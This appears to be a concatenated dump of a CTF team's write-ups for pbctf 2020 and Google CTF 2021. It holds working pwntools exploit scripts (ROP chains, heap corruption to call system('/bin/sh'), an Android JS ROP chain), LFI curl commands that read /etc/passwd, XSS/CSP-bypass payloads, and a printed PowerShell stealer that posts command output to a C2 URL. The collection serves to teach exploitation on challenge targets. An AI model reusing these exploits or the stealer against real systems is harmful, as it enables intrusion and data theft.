| 14 | 15 | By decoding the hex in the image we get 16 | ``` 17 | Here's my link: https://pastebin.com/j6Xd9GNM <-- Hehehehe! See if you can RE me 18 | ``` 19 | By visiting the pastebin we get the flag 20 | 21 | # FLAG 22 | `pbctf{3nc0d1ng_w1th_ass3mbly}` 23 | -------------------------------------------------------------------------------- /2020/pbctf 2020/misc/not_stego/profile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/pbctf 2020/misc/not_stego/profile.png -------------------------------------------------------------------------------- /2020/pbctf 2020/misc/vaccine_stealer/README.md: -------------------------------------------------------------------------------- 1 | # Challenge 2 | 3 | * **Points**: 470 4 | * **Solves**: 2 5 | * **Files**: [memory.7z](https://drive.google.com/file/d/10XZD5S2FCdPyugSvoIkWD8s3pH20hQS2/view) 6 | 7 | ``` 8 | An employee's PC at a COVID-19 vaccine manufacturer was infected with a malware. According to this employee, a strange window popped up while he was formatting his PC and installing some files. Analyze memory dumps and find traces of the malware. 9 | 10 | (1): Filename of the malicious executable whose execution finished at last 11 | (2): Filename of the executable that ran (1) 12 | (3): URL of C2 server that received victim's data (except http(s)://) 13 | Obtain all flag information and enter it in the form of pbctf{(1)_(2)_(3)} 14 | ``` 15 | 16 | # Solution 17 | 18 | Regular [volatility](https://github.com/volatilityfoundation/volatility) and "dumb" `strings`/`grep` runs were futile at the beginning as there were loads of junk inside. After spending 3-4 hours without a proper "lead", decided to do some PCAP carving. Already prepared for some manual approach, as did in some previous similar occasions, but nevertheless gave [CapLoader](https://www.netresec.com/index.ashx?page=CapLoader) a chance. While inside of the results there were no "clear" C&C attempts, found an interesting domain `mft.fw` inside one of `Set-Cookie` headers from CloudFlare HTTP response. By visiting the same domain, found out that same domain is the personal domain of challenge author. As in similar challenges, decided to take a "shoot" and do some more `grep`-ing with that same domain on the provided memory dump. The rest is history. 19 | 20 | So, first "obvious" malicious excerpt contacting the candidate C&C URL `mft.pw/ccc.php` (Note: **Answers the Question (3)**) found was: 21 | 22 | ```ps 23 | s`eT-V`A`Riab`lE Diq ( [typE]('sY'+'S'+'tEM.'+'tExT'+'.'+'EnCOdiNg') ); Set-`VARI`A`B`le ('Car'+'u1') ( [TyPe]('ConveR'+'t') ) ;${i`N`V`OkEcO`MmaND} = ((('cm'+'d'+'.exe')+' /'+'c '+'C'+':'+('HaSP'+'r')+('o'+'gr')+'a'+('m'+'Dat')+'aH'+('aSnt'+'user')+'.p'+('ol'+' TC'+'P ')+('172.30'+'.1.0'+'/24 33'+'8')+('95'+'12 /'+'B'+'a')+('nne'+'r'))."REPL`A`cE"(([chaR]72+[chaR]97+[chaR]83),[STRInG][chaR]92)); 24 | ${CMdout`p`Ut} = $(i`NVoK`e-eXPRE`ss`I`on ${I`NvOk`E`cOMMaND}); 25 | ${B`yT`es} = ( v`ARiA`BLE dIQ -VALu )::"U`NI`coDe"."g`etBYTES"(${cm`DOu`TPUt}); 26 | ${eN`Co`dEd} = ( I`TEM ('VarI'+'a'+'B'+'LE'+':Caru1') ).valuE::"ToB`AS`E`64striNG"(${b`Yt`es}); 27 | ${poSTP`A`R`AmS} = @{"D`ATa"=${e`N`cOded}}; 28 | i`N`VOkE-WEb`REQuESt -Uri ('mft.pw'+'/ccc'+'c.ph'+'p') -Method ('POS'+'T') -Body ${p`o`sTpaRaMs}; 29 | ``` 30 | 31 | By doing some more `grep`-ing found that the original (obfuscated) excerpt which produced the upper PowerShell excerpt was: 32 | 33 | ```ps 34 | nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd();; 35 | ``` 36 | 37 | Deobfuscating the first excerpt, we came to the following command, which clearly indicates the location of the malicious executable at location `C:\ProgramData\ntuser.pol` (Note: **Answers the Question (1)**): 38 | 39 | ``` 40 | cmd.exe /c C:\ProgramData\ntuser.pol TCP 172.30.1.0/24 3389512 /Banner 41 | ``` 42 | 43 | So, now, only thing which is missing from the "puzzle" is the answer to the question: `(2): Filename of the executable that ran (1)`. This one was slightly tricky to find because A) this information is not available through standard `volatility` runs as that same executable was not running during the memory snapshot; and B) there is no standard `volatility` plugin to get the list of executables being run at OS startup. 44 | 45 | Nevertheless, while later found that I could (easier) do the 3rd party plugin [volatility-autoruns](https://github.com/tomchop/volatility-autoruns), based the "last yard" on manually finding suspicious executable names got by inspecting `strings` and `strings -el` run results. The most promising was the following *Task Scheduler XML* entry, found by `grep`-ing for folder `C:\ProgramData` used in case of `ntuser.pol`, running the executable `C:\ProgramData\WindowsPolicyUpdate.cmd` (Note: **Answers the Question (2)**): 46 | 47 | ```xml 48 | 49 | ... 50 | 51 | ... 52 | 53 | PT1M 54 | 3 55 | 56 | 57 | 58 | 59 | C:\ProgramData\WindowsPolicyUpdate.cmd 60 | 61 | 62 | 63 | ``` 64 | 65 | Tried it as part of the flag, and it worked :) 66 | 67 | # FLAG 68 | 69 | `pbctf{ntuser.pol_WindowsPolicyUpdate.cmd_mft.pw/cccc.php}` 70 | -------------------------------------------------------------------------------- /2020/pbctf 2020/pwn/Amazing-ROP/README.md: -------------------------------------------------------------------------------- 1 | Pwn_Amazing ROP 2 | ==== 3 | 4 | ``` 5 | Should be a baby ROP challenge. Just need to follow direction and get first flag. 6 | 7 | nc maze.chal.perfect.blue 1 8 | 9 | By: theKidOfArcrania 10 | ``` 11 | 12 | [bof.c](https://storage.googleapis.com/pbctf-2020-ctfd/8e94e6f057143f9eba46a581a94a69b0/bof.c) [bof.bin](https://storage.googleapis.com/pbctf-2020-ctfd/b315ab20c9c4608a9172d80bd3dcf4e1/bof.bin) 13 | 14 | `nc maze.chal.perfect.blue 1` 15 | 16 | --- 17 | 18 | `vuln` funciton is vulnerable by BOF. Therefore we can exploit with ROP attack. I get the flag by using the way of obtaining the flag shown in the source code. 19 | 20 | ```python 21 | from pwn import * 22 | 23 | e = ELF('./bof.bin') 24 | # p = e.process(aslr=False) 25 | p = remote('maze.chal.perfect.blue', 1) 26 | 27 | context.log_level = 0 28 | 29 | pie_off = 0x4f5c 30 | gadget = 0x000013ad 31 | esi_edi_ebp = 0x00001396 32 | 33 | p.sendlineafter(b'n) ','n') 34 | 35 | ''' 36 | set buf 37 | ''' 38 | pay = p64(0)*4 39 | pay += p32(0xFFFFFFFF)*4 40 | 41 | ''' 42 | set secret 43 | ''' 44 | pay += p32(0x67616c66) 45 | 46 | ''' 47 | get pie 48 | set stack 49 | ''' 50 | p.recvuntil(b'ef be ad de ') 51 | x = bytes.fromhex(p.recvuntil('|')[:-1].replace(b' ',b'').decode()) 52 | pay += x 53 | pie = int.from_bytes(x,'little') - pie_off 54 | print(hex(pie)) 55 | p.recvuntil(b'|') 56 | pay += bytes.fromhex(p.recv(len(' 5c df 61 56 ')).replace(b' ',b'').decode()) 57 | ebp = bytes.fromhex(p.recvuntil('|')[:-1].replace(b' ',b'').decode()) 58 | pay += ebp 59 | ebp = int.from_bytes(ebp,'little') 60 | p.recvuntil(b'|') 61 | ret = bytes.fromhex(p.recv(len(' 5c df 61 56 ')).replace(b' ',b'').decode()) 62 | print(hex(int.from_bytes(ret,'little'))) 63 | wtf = bytes.fromhex(p.recvuntil('|')[:-1].replace(b' ',b'').decode()) 64 | 65 | ''' 66 | set ret 67 | ''' 68 | pay += p32(pie + esi_edi_ebp) 69 | pay += p32(0x1337) 70 | pay += p32(0x31337) 71 | pay += p32(ebp) 72 | pay += p32(pie + gadget) 73 | pay += p32(1) 74 | 75 | 76 | p.sendlineafter(b'text: ',pay) 77 | sleep(0.1) 78 | p.recvuntil('address: ') 79 | p.recvline() 80 | 81 | p.interactive() 82 | ``` 83 | 84 | `pbctf{hmm_s0mething_l00ks_off_w1th_th1s_s3tup}` 85 | -------------------------------------------------------------------------------- /2020/pbctf 2020/pwn/jheap/README.md: -------------------------------------------------------------------------------- 1 | Writeup by - [Faith](https://twitter.com/farazsth98) 2 | I spent around 3 hrs solving this. I wish I had more time to spend on this CTF because the challenges looked really good! 3 | 4 | # Challenge 5 | 6 | * **Points**: 420 7 | * **Solves**: 4 8 | * **Files**: [jheap.tar.gz](https://storage.googleapis.com/pbctf-2020-ctfd/ab76a2f1cb135751491b577613e89c2f/jheap.tar.gz), [jheap.conf](https://storage.googleapis.com/pbctf-2020-ctfd/d33db98e497d702ff84f0e29f62da25d/jheap.conf) 9 | 10 | Basically just a Java Heap pwn challenge. You can create and edit chunks, but its done through a JNI function written in C, which means memory corruption is a possibility. 11 | 12 | # Bug 13 | 14 | In `src/heap.c`, when `from_utf` is called, the `outbuf` argument for `iconv` is set to `data + offset*2`. `offset*2` can overflow past `data` easily which provides an OOB write on the java heap. 15 | 16 | # Exploit 17 | 18 | Through trial and error I found that if you put the flag into the very last data chunk, then the data chunk's buffer is a few hex thousand bytes before the flag's contents. My idea then was to use the oob write from the second last data chunk to overwrite the last data chunk's size to a large number, and then view the last data chunk to hopefully get the flag. 19 | 20 | ```python 21 | #!/usr/bin/env python3 22 | 23 | from pwn import * 24 | 25 | elf = ELF("./deploy/bin/java") 26 | #p = process(["./deploy/bin/java", "-Xmx200m", "-XX:+UseG1GC", "-Xms200m", "-m", "jheap/com.thekidofarcrania.heap.JHeap", "-XX:+PrintJNIGCStalls", "-XX:+PrintGCDetails"]) 27 | p = remote("jheap.chal.perfect.blue", 1) 28 | 29 | def edit(idx, offset, content): 30 | p.sendlineafter("> ", "0") 31 | p.sendlineafter("Index: ", str(idx)) 32 | p.sendlineafter("Offset: ", str(offset)) 33 | p.sendlineafter("Content: ", content) 34 | 35 | def leak(idx): 36 | p.sendlineafter("> ", "2") 37 | p.sendlineafter("Index: ", str(idx)) 38 | 39 | def view(idx): 40 | p.sendlineafter("> ", "1") 41 | p.sendlineafter("Index: ", str(idx)) 42 | 43 | # Chunks are initialized full of null bytes. You can view a chunk and count the 44 | # number of bytes returned to get the size of the chunk 45 | def get_size(idx): 46 | p.sendlineafter("> ", "1") 47 | p.sendlineafter("Index: ", str(idx)) 48 | 49 | p.recvuntil(" = ") 50 | data = p.recvuntil("*")[:-1] 51 | 52 | return len(data)-2 # account for newline 53 | 54 | # Control chunk 47's len through this, set it to 0x40000 55 | # I found the +11 offset through trial and error and just checking GDB 56 | # I found that using magic values ("QWERASDFZXCV" is what i used) combined 57 | # with search-pattern in gdb gef worked really well for me to find my chunk 58 | # The offset doesn't work 100% of the time but it works most of the time 59 | edit(46, get_size(46)//2+11, "\u0000\u0004" + "\u1337"*6) 60 | 61 | # Put the flag on the heap way past chunk 47 62 | leak(47) 63 | 64 | #gdb.attach(p) 65 | 66 | # Leak 0x40000 bytes, hopefully the flag will be inside 67 | view(47) 68 | 69 | # Find the flag 70 | flag = p.recvuntil(">>> JHeap") 71 | idx = flag.find(b"pbctf{") 72 | 73 | # Print dat shit 74 | if idx != -1: 75 | print(flag[idx:idx+80]) 76 | 77 | p.interactive() 78 | ``` 79 | -------------------------------------------------------------------------------- /2020/pbctf 2020/pwn/pwnception/README.md: -------------------------------------------------------------------------------- 1 | [Full writeup can be found here](https://faraz.faith/2020-12-08-pbctf-pwnception/) 2 | -------------------------------------------------------------------------------- /2020/pbctf 2020/web/XSP/README.md: -------------------------------------------------------------------------------- 1 | # XSP 2 | 3 | ## HOW TO SOLVE 4 | 5 | 1. Use CSRF to add an iframe to admin's notes 6 | 2. Bruteforce the path of the admin's note with defining a CSP for 256 iframes.
7 | Like for bruteforcing `xx` in following path:
`https://xsp.chal.perfect.blue/data/xx/`, we have to add 256 iframes with following format.
8 | ```html 9 | 11 | ``` 12 | 3. Iterate through iframes and find one which it's window's length is more than `0`, the right one has our bruteforced path part in it's id. 13 | 14 | 4. include the bruteforced script with a defined `notes_callback` function to get results. 15 | 16 | 17 | -------------------------------------------------------------------------------- /2020/pbctf 2020/web/XSP/bruteforce.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |
7 | 8 |
9 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /2020/pbctf 2020/web/apoche1/README.md: -------------------------------------------------------------------------------- 1 | * Visit http://34.68.159.75:37173/robots.txt 2 | * We see there is a /secret directory. Visit that and there are few notes. 3 | * some Fuzzing reveals there is LFI at `http://34.68.159.75:37173/secret/../../../../../../etc/passwd` 4 | * curl --path-as-is "http://34.68.159.75:37173/secret/../../../../../../etc/passwd" 5 | * open using curl/burp as browser will path normalize 6 | * visit `http://34.68.159.75:37173/secret/../../../../../../proc/self/exe` and you will get the flag 7 | * curl --path-as-is "http://34.68.159.75:41521/secret/../../../../../proc/self/exe" 2>&1 | strings | grep pbctf 8 | 9 | pbctf{n0t_re4lly_apache_ap0che!} 10 | -------------------------------------------------------------------------------- /2020/pbctf 2020/web/ikea-name-generator/README.md: -------------------------------------------------------------------------------- 1 | What's your IKEA name? Mine is SORPOÄNGEN. 2 | 3 | http://ikea-name-generator.chal.perfect.blue/ 4 | 5 | By: corb3nik 6 | 7 | --- 8 | 9 | 1.Break JSON Syntax by adding a new line (%0a) to make CONFIG undefined 10 | `http://ikea-name-generator.chal.perfect.blue/?name=renwa%0a` 11 | 12 | 2.Using DOM Clobbering fake CONFIG 13 | `` 14 | 15 | 3.With `/404.php?msg=` to create a new JSON object 16 | 17 | `
` 18 | 19 | 4.Prototype Pollution to add `innerHTML` to the sandbox iframe 20 | 21 | `` 22 | 23 | 5.Using iframe srcdoc to include angularJS script to the iframe then using angular CSP bypass tricks to execute XSS 24 | 25 | ``` 26 | 27 | 32 | 33 |
34 | 35 | ``` 36 | -------------------------------------------------------------------------------- /2020/pbctf 2020/web/simple_note/exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import base64 3 | 4 | def getpossiblities(idx,tryt = "\x09",last=False): 5 | init = "AAAA" 6 | init += "A" * idx 7 | prefix = "ee" 8 | if(last != False): 9 | prefix = last * 2 10 | for i in range(499): 11 | init += prefix+"\x09"+tryt 12 | 13 | if(idx > 0): 14 | init = init[0:-idx] 15 | init = init[0:-1] + "A" 16 | return init 17 | 18 | def convint(i): 19 | return (bytes([i]) + b"\x00").decode() 20 | def packvar(key,val): 21 | return convint(len(key)) + key + convint(len(val)) + val 22 | tried = [0,2,1,0,0,2,-1,0,2,1,3,1,0,-1,2,0,2,1,2,0,-1,0,1,3,1,3,1,-1,1,2,1,3,-1] 23 | url = "http://localhost:8000/" 24 | url = "http://simplenote.chal.perfect.blue/" 25 | """ 26 | note path which includes following payload: 27 | 28 | open("/tmp/notes/sg.txt","w+").write(open("/flag.txt").read()) 29 | """ 30 | note = "/notes/96bd3698a91745f4ae47456af65a7e5a" 31 | 32 | headers = {"host" : "localhost:8000"} 33 | ltried = len(tried) 34 | for j in range(32): 35 | t = "d" * 2000 36 | if(j> \n") 16 | io.sendline(str(1)) 17 | io.recvuntil("input index\n") 18 | io.sendline(str(idx)) 19 | io.recvuntil("input size\n") 20 | io.sendline(str(size)) 21 | def delete(idx): 22 | io.recvuntil(">> \n") 23 | io.sendline(str(2)) 24 | io.recvuntil("input index\n") 25 | io.sendline(str(idx)) 26 | def edit(idx,data): 27 | io.recvuntil(">> \n") 28 | io.sendline(str(3)) 29 | io.recvuntil("input index\n") 30 | io.sendline(str(idx)) 31 | io.recvuntil("input content\n") 32 | io.send(str(data)) 33 | def show(idx): 34 | io.recvuntil(">> \n") 35 | io.sendline(str(4)) 36 | io.recvuntil("input index\n") 37 | io.sendline(str(idx)) 38 | return io.recvline().strip() 39 | def addname(name): 40 | io.recvuntil(">> \n") 41 | io.sendline(str(5)) 42 | io.recvuntil("your name:\n") 43 | io.sendline(str(name)) 44 | def showname(): 45 | io.recvuntil(">> \n") 46 | io.sendline(str(6)) 47 | 48 | p = io 49 | for i in range(9): 50 | add(i, 0x28) 51 | 52 | for i in range(9): 53 | delete(i) 54 | 55 | leak = u64(show(1).ljust(8,'\x00')) 56 | print hex(leak) 57 | 58 | add(2, 0x40) 59 | addname('z') 60 | libc.address = (u64(show(7).ljust(8,'\x00')) - libc.symbols['__malloc_hook']) & 0xfffffffffffff000 61 | print hex(libc.address) 62 | for i in range(5): add(0, 0x28) 63 | delete(8) 64 | add(0, 0x58) 65 | edit(0, p64(0)*4+p64(0x31)+p64(libc.symbols['__free_hook']-0x8)) 66 | for i in range(2): add(1, 0x28) 67 | edit(1, p64(libc.symbols['system'])) 68 | edit(0, p64(0)*4+p64(0x31)+'/bin/sh\x00') 69 | delete(8) 70 | 71 | io.interactive() 72 | -------------------------------------------------------------------------------- /2021/*CTF-2021/web/lottery-again.md: -------------------------------------------------------------------------------- 1 | ## Challenge Description 2 | 3 | Lottery come back again. Guessing is boring, so here is the code. 4 | 5 | http://52.149.144.45:8080 6 | 7 | 8 | ## Solution 9 | 10 | App uses AES-256 encryption in ECB mode. The following code show's attacking ECB mode encoded JSON. 11 | 12 | JSON USER-1 = 13 | ``` 14 | a1= {"lottery":"108abb0b-e3df-47e5-b 15 | a2= 7c6-b977470ec0bb","user":"d747f1 16 | a3= e9-55b9-4f95-a747-7cf16a9b6866", 17 | a4= "coin":"34"} 18 | ``` 19 | 20 | JSON User-2 = 21 | ``` 22 | b1={"lottery":"91ed6620-77d3-4f36-8 23 | b2=74d-9763f9e3bb63","user":"6af3b3 24 | b3=b7-3408-4f37-8869-318a55cca52a", 25 | b4="coin":"7"} 26 | ``` 27 | 28 | New Key = a1+a2+b2+b3+b4 29 | 30 | 31 | [solve.py](./solve.py) -------------------------------------------------------------------------------- /2021/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2021/.DS_Store -------------------------------------------------------------------------------- /2021/google-ctf/pwn/tridroid/hook.js: -------------------------------------------------------------------------------- 1 | var jni = ptr(0); 2 | // Interceptor.attach(Module.findBaseAddress('libtridroid.so').add(0x1420), { 3 | // onEnter(args) { 4 | // }, 5 | // onLeave(retval) { 6 | // // console.log(jni); 7 | // // if (retval.readPointer() == jni) { 8 | // // console.log("found") 9 | // // } 10 | // }, 11 | // }); 12 | Interceptor.attach(Module.getExportByName('libtridroid.so', 'Java_com_google_ctf_pwn_tridroid_MainActivity_manageStack__Ljava_lang_String_2_3B'), { 13 | onEnter(args) { 14 | console.log("jnienv", args[0]); 15 | console.log("jobj", args[1]); 16 | // jni = args[0]; 17 | }, 18 | onLeave(retval) { 19 | 20 | }, 21 | }); 22 | -------------------------------------------------------------------------------- /2021/google-ctf/pwn/tridroid/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Copyright 2021 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | 16 | from os.path import join 17 | import json 18 | import os 19 | import random 20 | import shlex 21 | import string 22 | import subprocess 23 | import sys 24 | import time 25 | import base64 26 | 27 | ADB_PORT = int(random.random() * 60000 + 5000) 28 | EMULATOR_PORT = ADB_PORT + 1 29 | EXPLOIT_TIME_SECS = 30 30 | APK_FILE = "/challenge/app.apk" 31 | FLAG_FILE = "/challenge/flag" 32 | HOME = "/home/user" 33 | 34 | ENV = {} 35 | ENV.update(os.environ) 36 | ENV.update({ 37 | "ANDROID_ADB_SERVER_PORT": "{}".format(ADB_PORT), 38 | "ANDROID_SERIAL": "emulator-{}".format(EMULATOR_PORT), 39 | "ANDROID_SDK_ROOT": "/opt/android/sdk", 40 | "ANDROID_SDK_HOME": HOME, 41 | "ANDROID_PREFS_ROOT": HOME, 42 | "ANDROID_EMULATOR_HOME": HOME + "/.android", 43 | "ANDROID_AVD_HOME": HOME + "/.android/avd", 44 | "JAVA_HOME": "/usr/lib/jvm/java-11-openjdk-amd64", 45 | "PATH": "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH", "") 46 | }) 47 | 48 | def print_to_user(message): 49 | print(message) 50 | sys.stdout.flush() 51 | 52 | def setup_emulator(): 53 | subprocess.call( 54 | "avdmanager" + 55 | " create avd" + 56 | " --name 'pixel_4_xl_api_30'" + 57 | " --abi 'google_apis/x86_64'" + 58 | " --package 'system-images;android-30;google_apis;x86_64'" + 59 | " --device pixel_4_xl" + 60 | " --force" + 61 | " > /dev/null 2> /dev/null", 62 | env=ENV, 63 | close_fds=True, 64 | shell=True) 65 | 66 | return subprocess.Popen( 67 | "emulator" + 68 | " -avd pixel_4_xl_api_30" + 69 | " -no-cache" + 70 | " -no-snapstorage" + 71 | " -no-snapshot-save" + 72 | " -no-snapshot-load" + 73 | " -no-audio" + 74 | " -no-window" + 75 | " -no-snapshot" + 76 | " -no-boot-anim" + 77 | " -wipe-data" + 78 | " -accel on" + 79 | " -netdelay none" + 80 | " -no-sim" + 81 | " -netspeed full" + 82 | " -delay-adb" + 83 | " -port {}".format(EMULATOR_PORT) + 84 | " > /dev/null 2> /dev/null ", 85 | env=ENV, 86 | close_fds=True, 87 | shell=True) 88 | 89 | def adb(args, capture_output=True): 90 | return subprocess.run( 91 | "adb {} 2> /dev/null".format(" ".join(args)), 92 | env=ENV, 93 | shell=True, 94 | close_fds=True, 95 | capture_output=capture_output).stdout 96 | 97 | def adb_install(apk): 98 | adb(["install", "-r", apk]) 99 | 100 | def adb_activity(activity): 101 | adb(["shell", "am", "start", "-W", "-n", activity]) 102 | 103 | def adb_logs(): 104 | logs = adb(["logcat", "-d", "-s", "TriDroid"], True) 105 | for log in logs.decode("utf-8").strip().split("\n"): 106 | print_to_user(log) 107 | 108 | def adb_broadcast(action, extras=None): 109 | args = ["shell", "am", "broadcast", "-a", action] 110 | if extras: 111 | for key in extras: 112 | args += ["-e", key, extras[key]] 113 | adb(args) 114 | 115 | print_to_user(""" 116 | Welcome to TriDroid, the Triangle of Android: 117 | 118 | /\\ 119 | DEX / \\ Web 120 | (Java & Kotlin) / \\ (HTML & JS) 121 | / \\ 122 | /________\\ 123 | 124 | Native (C & C++) 125 | """) 126 | 127 | print_to_user("Preparing TriDroid. This may take a while ...\n") 128 | 129 | emulator = setup_emulator() 130 | 131 | adb(["wait-for-device"]) 132 | 133 | adb_install(APK_FILE) 134 | 135 | adb_activity("com.google.ctf.pwn.tridroid/.MainActivity") 136 | 137 | with open(FLAG_FILE, "r") as f: 138 | adb_broadcast("com.google.ctf.pwn.tridroid.SET_FLAG", extras = { 139 | "data": base64.b64encode(f.read().encode()).decode() 140 | }) 141 | 142 | print_to_user("Please enter your name encoded in base64:") 143 | 144 | name = sys.stdin.readline().strip() 145 | adb_broadcast("com.google.ctf.pwn.tridroid.SET_NAME", extras = { 146 | "data": name 147 | }) 148 | 149 | print_to_user("Thank you! Check out the logs. This may take a while ...\n") 150 | 151 | time.sleep(EXPLOIT_TIME_SECS) 152 | 153 | adb_logs() 154 | 155 | emulator.kill() 156 | -------------------------------------------------------------------------------- /2021/google-ctf/pwn/tridroid/solve.html: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2021/google-ctf/pwn/tridroid/solve.js: -------------------------------------------------------------------------------- 1 | var password = top.x.document.body.innerHTML.match( 2 | /\b[0-9a-f]{8}\b-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-\b[0-9a-f]{12}\b/ 3 | )[0]; 4 | 5 | function stack_push(s) { 6 | return bridge.manageStack(password, "push", s); 7 | } 8 | 9 | function stack_pop() { 10 | return bridge.manageStack(password, "pop", "00"); 11 | } 12 | 13 | function stack_top() { 14 | return bridge.manageStack(password, "top", "00"); 15 | } 16 | 17 | function stack_edit(s) { 18 | return bridge.manageStack(password, "modify", s); 19 | } 20 | 21 | function u64(s) { 22 | let n = 0n; 23 | for (let i = 0; i < s.length && i < 16; i += 2) { 24 | n += BigInt(parseInt(s.substr(i, 2), 16)) << BigInt(i * 4); 25 | } 26 | return n; 27 | } 28 | 29 | function p64(n) { 30 | let s = ""; 31 | while (n) { 32 | s += (n & 0xFFn).toString(16).padStart(2, "0"); 33 | n >>= 8n; 34 | } 35 | return s + "0".repeat(16 - s.length); 36 | } 37 | 38 | stack_push("41414141414141414141414141414141"); 39 | stack_push("41414141414141414141414141414141"); 40 | 41 | function read(addr) { 42 | stack_edit("41414141414141414141414141414141" + p64(addr)); 43 | stack_pop(); 44 | let leak = stack_top(); 45 | stack_push("41414141414141414141414141414141"); 46 | return leak; 47 | } 48 | 49 | function write(addr, data) { 50 | stack_edit("41414141414141414141414141414141" + p64(addr)); 51 | stack_pop(); 52 | stack_edit(data); 53 | stack_push("41414141414141414141414141414141"); 54 | } 55 | 56 | stack_push("41414141414141414141414141414141"); 57 | 58 | var leak = stack_top(); 59 | var heap = u64(leak.slice(32)); 60 | var heap_n = u64(leak.slice(32)) & ~0xFFFn; 61 | console.log("heap", "0x" + heap.toString(16)); 62 | console.log("heap_base", "0x" + heap_n.toString(16)); 63 | 64 | write(heap_n+0x3020n, "41".repeat(0x20)) 65 | write(heap_n+0x3040n, "41".repeat(0x8)) 66 | leak = read(heap_n+0x3020n); 67 | var lib_base = u64(leak.substr(0x28 * 2, 12)) - 0x16ffn; 68 | console.log("lib", "0x" + lib_base.toString(16)); 69 | write(heap_n+0x3020n, "41".repeat(0x28)) 70 | leak = read(heap_n+0x3020n); 71 | var canary = leak.substr(0x28 * 2, 16); 72 | console.log("canary", canary); 73 | var stack = u64(leak.substr(0x30 * 2, 12)); 74 | console.log("stack", "0x" + stack.toString(16)); 75 | leak = read(lib_base + 0x2fa8n); 76 | var strcpy = u64(leak); 77 | var libc_base = strcpy - 0x53830n; 78 | console.log("libc", "0x" + libc_base.toString(16)); 79 | leak = read(stack - 0x60n); 80 | var JNIEnv = u64(leak); 81 | console.log("JNIEnv", "0x" + JNIEnv.toString(16)); 82 | leak = read(stack - 0x68n); 83 | var jobj = u64(leak); 84 | console.log("jobj", "0x" + jobj.toString(16)); 85 | 86 | write(heap_n + 0x3070n, "73686f77466c616700") // showFlag 87 | write(heap_n + 0x3080n, "28295600") // ()V 88 | 89 | // 0x0000000000042c92: pop rdi; ret; 90 | // 0x0000000000042d38: pop rsi; ret; 91 | // 0x0000000000046175: pop rdx; r2et; 92 | // 0x0000000000042e58: pop rcx; ret; 93 | // 0x0000000000045e13: pop rax; ret; 94 | var L_pop_rdi = libc_base + 0x42c92n; 95 | var L_pop_rsi = libc_base + 0x42d38n; 96 | var L_pop_rdx = libc_base + 0x46175n; 97 | var L_pop_rcx = libc_base + 0x42e58n; 98 | var L_pop_rax = libc_base + 0x45e13n; 99 | 100 | var payload = "00".repeat(0x28); 101 | payload += canary 102 | payload += p64(stack) 103 | payload += p64(L_pop_rdi) // rop begin 104 | payload += p64(JNIEnv) 105 | payload += p64(L_pop_rsi) 106 | payload += p64(jobj) 107 | payload += p64(L_pop_rdx) 108 | payload += p64(heap_n + 0x3070n) 109 | payload += p64(L_pop_rcx) 110 | payload += p64(heap_n + 0x3080n) 111 | payload += p64(L_pop_rdi + 1n) 112 | payload += p64(lib_base + 0xfa0n) 113 | write(heap_n+0x2120n, payload) 114 | -------------------------------------------------------------------------------- /2021/google-ctf/pwn/tridroid/solve.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import subprocess 3 | from base64 import b64encode 4 | import sys 5 | 6 | def adb(args, capture_output=True): 7 | return subprocess.check_output( 8 | "adb {}".format(" ".join(args)).split() 9 | ).decode() 10 | 11 | def adb_activity(activity): 12 | adb(["shell", "am", "start", "-W", "-n", activity]) 13 | 14 | def adb_broadcast(action, extras=None): 15 | args = ["shell", "am", "broadcast", "-a", action] 16 | if extras: 17 | for key in extras: 18 | args += ["-e", key, extras[key]] 19 | return adb(args) 20 | 21 | with open("solve.html", "rb") as f: 22 | HTML = f.read() 23 | 24 | with open("solve.js", "rb") as f: 25 | JS = 